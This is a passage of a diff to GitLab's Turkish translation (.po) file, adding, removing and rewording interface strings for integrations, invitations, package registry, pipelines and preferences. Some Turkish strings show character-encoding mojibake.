msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr "Standart"
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr "Geçersiz giriş ya da şifre"
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr "Sorun, %{name} %{reason} tarafından kapatıldı"
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr "Sorunlar kapalı"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr "Bu sensin"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr "Klavye kısayolları"
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr "Etiket listeleri, seçilen etiket ile ilgili tüm sorunları gösterir."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "Etiket oluÅŸturuldu"
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr "Daha fazlasını öğrenin"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "Grup üyeleri için katkı istatistikleri yükleniyor"
@@ -18332,6 +18807,9 @@ msgstr "Tüm bildirimleri yönet"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "GitLab'ı bir OAuth sağlayıcısı olarak kullanabilen uygulamaları ve hesabınızı kullanma yetkisi verdiğiniz uygulamaları yönetin."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr "En yüksek kapasite"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Ãœyeler"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "BirleÅŸtirme Ä°steÄŸi"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr "Birleştirme İsteği Onayları"
-
msgid "Merge Request Commits"
msgstr "BirleÅŸtirme Ä°steÄŸi Ä°ÅŸlemeleri"
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Birleştirme isteği onayları"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr "Daha fazlası"
msgid "More Information"
msgstr "Daha Fazla Bilgi"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr "Yeni Etiket"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "Yeni dönüm noktası"
@@ -20367,6 +20857,9 @@ msgstr "Sonraki"
msgid "Next commit"
msgstr "Sonraki iÅŸleme"
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,8 +20974,8 @@ msgstr ""
msgid "No estimate or time spent"
msgstr "Tahmini ya da harcanan zaman yok"
-msgid "No file chosen"
-msgstr "Seçili dosya yok"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr "Bildirim ayarı - %{notification_title}"
msgid "Notification settings saved"
msgstr "Bildirim ayarları kaydedildi"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr "Oops, emin misin?"
msgid "Open"
msgstr "Açık"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr "Seçimi Aç"
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr "Ham olarak aç"
@@ -21311,12 +21827,15 @@ msgstr "Kenar çubuğunu aç"
msgid "Open: %{open}"
msgstr ""
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
+msgstr ""
+
msgid "Opened"
msgstr "Açıldı"
-msgid "Opened %{epicTimeagoDate}"
-msgstr "%{epicTimeagoDate} açıldı"
-
msgid "Opened MRs"
msgstr ""
@@ -21329,6 +21848,9 @@ msgstr "Açıldı:"
msgid "Opens in a new window"
msgstr "Yeni bir pencerede açılır"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Seçenekler"
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "Üzgünüz, filtreniz sonuç vermedi"
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Paketler"
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22032,7 +22584,7 @@ msgid "Pipeline minutes quota"
msgstr "İş hattı dakika kotası"
msgid "Pipeline minutes quota:"
-msgstr ""
+msgstr "İş hattı dakika kotası:"
msgid "Pipeline ran in fork of project"
msgstr ""
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr "Ä°ÅŸlem"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,12 +23186,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Lütfen reCAPTCHA'yı çözün"
-
msgid "Please try again"
msgstr ""
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "Lütfen devam etmek için %{phrase_code} yazın ya da iptal etmek için bu pencereyi kapatın."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22683,10 +23256,10 @@ msgid "Preferences|Choose what content you want to see on a project’s overview
msgstr "Bir projenin genel bakış sayfasında hangi içeriği görmek istediğinizi seçin."
msgid "Preferences|Choose what content you want to see on your homepage."
-msgstr ""
+msgstr "Ana sayfanızda görmek istediğiniz içeriği seçin."
msgid "Preferences|Customize integrations with third party services."
-msgstr ""
+msgstr "Üçüncü taraf hizmetleriyle entegrasyonları özelleştirin."
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Uygulama başlığının ve gezinme kenar çubuğunun görünümünü özelleştirin."
@@ -22695,34 +23268,34 @@ msgid "Preferences|Display time in 24-hour format"
msgstr "Saati 24 saatlik biçimde görüntüle"
msgid "Preferences|Enable Gitpod integration"
-msgstr ""
+msgstr "Gitpod entegrasyonunu etkinleÅŸtir"
msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
+msgstr "Kod görünümlerinde tümleşik kod zekasını etkinleştir"
msgid "Preferences|Failed to save preferences."
-msgstr ""
+msgstr "Tercihler kaydedilemedi."
msgid "Preferences|For example: 30 mins ago."
msgstr "Örneğin: 30 dakika önce."
msgid "Preferences|Gitpod"
-msgstr ""
+msgstr "Gitpod"
msgid "Preferences|Homepage content"
-msgstr ""
+msgstr "Ana sayfa içeriği"
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
msgid "Preferences|Integrations"
-msgstr ""
+msgstr "Entegrasyonlar"
msgid "Preferences|Layout width"
msgstr "Düzen genişliği"
msgid "Preferences|Must be a number between %{min} and %{max}"
-msgstr ""
+msgstr "%{min} ile %{max} arasında bir sayı olmalıdır"
msgid "Preferences|Navigation theme"
msgstr "Gezinme teması"
@@ -22734,22 +23307,22 @@ msgid "Preferences|Render whitespace characters in the Web IDE"
msgstr "Web IDE'deki boÅŸluk karakterlerini iÅŸle"
msgid "Preferences|Show one file at a time on merge request's Changes tab"
-msgstr ""
+msgstr "Birleştirme isteğini Değişiklikler sekmesinde her zaman bir dosya olarak göster"
msgid "Preferences|Show whitespace changes in diffs"
-msgstr ""
+msgstr "Değişikliklerde boşluk karakterlerini göster"
msgid "Preferences|Sourcegraph"
-msgstr ""
+msgstr "Sourcegraph"
msgid "Preferences|Surround text selection when typing quotes or brackets"
-msgstr ""
+msgstr "Tırnak veya köşeli parantez yazarken metin seçimi"
msgid "Preferences|Syntax highlighting theme"
-msgstr "Sözdizimi vurgulama teması"
+msgstr "Sözdizimi vurgu teması"
msgid "Preferences|Tab width"
-msgstr ""
+msgstr "Sekme geniÅŸliÄŸi"
msgid "Preferences|These settings will update how dates and times are displayed for you."
msgstr "Bu ayarlar, tarih ve saatlerin sizin için nasıl görüntülendiğini güncelleyecektir."
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr "Önceki işlem"
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr "Öncelikli Etiketler"
msgid "Prioritized label"
msgstr "Öncelikli etiket"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr "Özel"
@@ -23016,7 +23601,7 @@ msgid "Profiles|Commit email"
msgstr "İşlem e-postası"
msgid "Profiles|Connect %{provider}"
-msgstr ""
+msgstr "%{provider}'a baÄŸlan"
msgid "Profiles|Connected Accounts"
msgstr "Bağlı Hesaplar"
@@ -23040,7 +23625,7 @@ msgid "Profiles|Disconnect"
msgstr "Bağlantıyı kes"
msgid "Profiles|Disconnect %{provider}"
-msgstr ""
+msgstr "%{provider} bağlantısını kes"
msgid "Profiles|Do not show on profile"
msgstr "Profilde gösterme"
@@ -23108,8 +23693,8 @@ msgstr "Özel bir katkı yaptı"
msgid "Profiles|Main settings"
msgstr "Ana ayarlar"
-msgid "Profiles|No file chosen"
-msgstr "Seçili dosya yok"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr "Bildirim e-postası"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "Proje KimliÄŸi: %{project_id}"
@@ -23513,49 +24101,82 @@ msgstr "%{service_title}: durum kapalı"
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
-msgstr "Bu hizmeti ayarlamak için:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr "Kapsayıcı kaydı"
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "E-posta bildirimlerini devre dışı bırak"
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
